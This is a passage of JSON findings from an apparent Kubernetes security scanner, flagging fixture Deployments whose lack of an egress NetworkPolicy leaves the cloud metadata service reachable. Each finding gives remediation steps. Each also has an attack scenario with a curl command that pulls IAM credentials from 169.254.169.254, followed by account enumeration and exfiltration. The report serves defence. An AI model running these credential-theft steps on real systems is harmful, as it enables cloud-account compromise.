      "Attacker gains RCE in `Deployment/containersec-fixtures/containersec-image` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "containersec-image",
      "workload_namespace": "containersec-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `containersec-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec containersec-image -n containersec-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:containersec-fixtures:containersec-lifecycle",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/containersec-fixtures/containersec-lifecycle` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/containersec-fixtures/containersec-lifecycle` runs in namespace `containersec-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-lifecycle",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-lifecycle`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/containersec-fixtures/containersec-lifecycle` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "containersec-lifecycle",
      "workload_namespace": "containersec-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `containersec-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec containersec-lifecycle -n containersec-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:containersec-fixtures:containersec-limits",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/containersec-fixtures/containersec-limits` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/containersec-fixtures/containersec-limits` runs in namespace `containersec-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-limits",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-limits`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/containersec-fixtures/containersec-limits` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "containersec-limits",
      "workload_namespace": "containersec-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `containersec-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec containersec-limits -n containersec-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:containersec-fixtures:containersec-probes",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/containersec-fixtures/containersec-probes` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/containersec-fixtures/containersec-probes` runs in namespace `containersec-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-probes",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-probes`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/containersec-fixtures/containersec-probes` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "containersec-probes",
      "workload_namespace": "containersec-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `containersec-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec containersec-probes -n containersec-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:csr-fixtures:csr-mint-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/csr-fixtures/csr-mint-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/csr-fixtures/csr-mint-app` runs in namespace `csr-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "csr-mint-app",
      "namespace": "csr-fixtures",
      "api_group": "apps"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/csr-fixtures/csr-mint-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/csr-fixtures/csr-mint-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "csr-mint-app",
      "workload_namespace": "csr-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `csr-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec csr-mint-app -n csr-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:csr-fixtures:csr-sign-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/csr-fixtures/csr-sign-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/csr-fixtures/csr-sign-app` runs in namespace `csr-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "csr-sign-app",
      "namespace": "csr-fixtures",
      "api_group": "apps"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/csr-fixtures/csr-sign-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/csr-fixtures/csr-sign-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "csr-sign-app",
      "workload_namespace": "csr-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `csr-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec csr-sign-app -n csr-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
